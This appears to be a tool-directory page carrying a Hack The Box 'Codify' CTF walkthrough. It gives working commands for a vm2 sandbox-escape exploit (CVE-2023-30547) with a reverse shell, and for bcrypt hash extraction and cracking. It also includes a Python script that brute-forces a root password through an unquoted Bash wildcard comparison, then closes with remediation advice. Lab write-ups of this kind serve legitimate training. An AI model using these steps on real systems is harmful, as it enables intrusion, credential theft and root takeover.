Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Codify-TJNULL-OSCP- — Walkthrough for Codify (Linux - Easy). Exploits vm2 RCE (CVE-2023-30547), SQLite DB hash extraction, Bcrypt cracking with John, and Privilege Escalation via Bash wildcard comparison in `mysql-backup.sh`. | Kitploit
Tools/GitHubGitHub/r3fr4kt/codify-tjnull-oscp-
Privilege EscalationPassword AttacksExploitationWeb Application ExploitationInformation GatheringCTFPenetration TestingLearning & Education
GitHubr3fr4kt/codify-tjnull-oscp-

Codify-TJNULL-OSCP-

Walkthrough for Codify (Linux - Easy). Exploits vm2 RCE (CVE-2023-30547), SQLite DB hash extraction, Bcrypt cracking with John, and Privilege Escalation via Bash wildcard comparison in `mysql-backup.sh`.

View Repository
41 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Hack The Box — Codify Writeup

Difficulty OS Platform

Full penetration testing walkthrough and writeup for Codify machine on Hack The Box.


📌 Machine Info

FieldValue
NameCodify
OSLinux
DifficultyEasy
Key Conceptsvm2 RCE (CVE-2023-30547), SQLite DB Enum, Bcrypt Cracking, Bash Wildcard Pattern Matching Abuse

🛠️ Summary / Attack Chain

root@kitploit:~
[Nmap Scan: Ports 22, 80, 3000] ➡️ [Node.js Sandbox App (vm2) Detected]
                                      ⬇️
     [CVE-2023-30547: vm2 Sandbox Escape RCE] ➡️ [Reverse Shell as 'svc']
                                      ⬇️
  [SQLite Enum: /var/www/contact/tickets.db] ➡️ [Extract Joshua's Bcrypt Hash]
                                      ⬇️
     [John the Ripper (rockyou.txt)] ➡️ [SSH as 'joshua'] ➡️ [Read user.txt]
                                      ⬇️
   [Sudo Check: /opt/scripts/mysql-backup.sh] ➡️ [Wildcard Comparison Vulnerability]
                                      ⬇️
[Python Bruteforce Script] ➡️ [Extract Root MySQL Password] ➡️ [su root] ➡️ [Read root.txt]

🔍 Phase 1: Reconnaissance & Enumeration

1. Port Discovery

Fast port scan across all 65,535 TCP ports to discover open services:

Bash

root@kitploit:~
nmap -Pn -n -sS -p- --min-rate 5000 --open <TARGET_IP>

2. Service Version Detection

Detailed enumeration on ports 22, 80, 3000:

Bash

root@kitploit:~
nmap -sVC -p 22,80,3000 <TARGET_IP>

💥 Phase 2: Initial Access (Foothold)

1. Exploiting vm2 Sandbox Escape (CVE-2023-30547)

The web application running on port 3000 utilizes a vulnerable version of the Node.js vm2 sandbox library.

Clone the public exploit repository:

Bash

root@kitploit:~
git clone [https://github.com/user0x1337/CVE-2023-30547](https://github.com/user0x1337/CVE-2023-30547)
cd CVE-2023-30547

2. Exploit Execution

Start a local Netcat listener on your attacking machine:

Bash

root@kitploit:~
ncat -lnvp 4444

Execute the exploit targeting the vulnerable web application:

Bash

root@kitploit:~
python3 exploit.py --url "http://<TARGET_IP>:3000" --lhost <YOUR_IP> --lport 4444

Verify your initial foothold shell:

Bash

root@kitploit:~
whoami

🔎 Phase 3: Internal Enumeration & Lateral Movement

1. SQLite Database Enumeration

Navigate to the web directory /var/www/contact and inspect the SQLite database:

Bash

root@kitploit:~
cd /var/www/contact
ls -la
sqlite3 tickets.db

Extract Joshua's bcrypt hash:

SQL

root@kitploit:~
SELECT password FROM users WHERE username='joshua';

(Press CTRL + d to exit)

2. Cracking the Bcrypt Hash

Crack the extracted hash using John the Ripper and rockyou.txt:

Bash

root@kitploit:~
echo "<HASH_BCRYPT>" > hash.txt
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

3. SSH Access & User Flag

Authenticate via SSH using Joshua's cracked credentials:

Bash

root@kitploit:~
ssh joshua@<TARGET_IP>
cat user.txt

⚡ Phase 4: Privilege Escalation

1. Sudo Rights Enumeration

Check allowed sudo commands for user joshua:

Bash

root@kitploit:~
sudo -l

Output: (ALL : ALL) NOPASSWD: /opt/scripts/mysql-backup.sh

2. Analyzing the Backup Script

Inspect /opt/scripts/mysql-backup.sh:

Bash

root@kitploit:~
cat /opt/scripts/mysql-backup.sh

Vulnerability: The script uses an unquoted pattern match in Bash ([[ $USER_PASS == $DB_PASS* ]]). This allows wildcards (*) inside user input to perform a character-by-character brute-force attack against the actual password.

3. Automated Password Extraction (Python)

Create bruteforce.py to extract the root password character-by-character:

Python

root@kitploit:~
import string
import subprocess

all_characters = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
    for character in all_characters:
        # Test password + character + wildcard (*)
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
        
        if "Password confirmed!" in output:
            password += character
            print(f"Found: {password}")
            break
    else:
        found = True

print(f"Root Password: {password}")

Run the script to extract the password:

Bash

root@kitploit:~
python3 bruteforce.py

4. Root Flag

Switch to the root user context using the extracted password:

Bash

root@kitploit:~
su root
cat /root/root.txt

🛡️ Remediation & Mitigations

  • Patch Node.js Libraries: Deprecate or upgrade vulnerable sandbox libraries such as vm2 (CVE-2023-30547).

  • Secure Bash Scripting: Always quote variables in string comparison operations ([[ "$USER_PASS" == "$DB_PASS" ]]) to prevent unintentional pattern matching and wildcard injection in privileged scripts.

Download Tool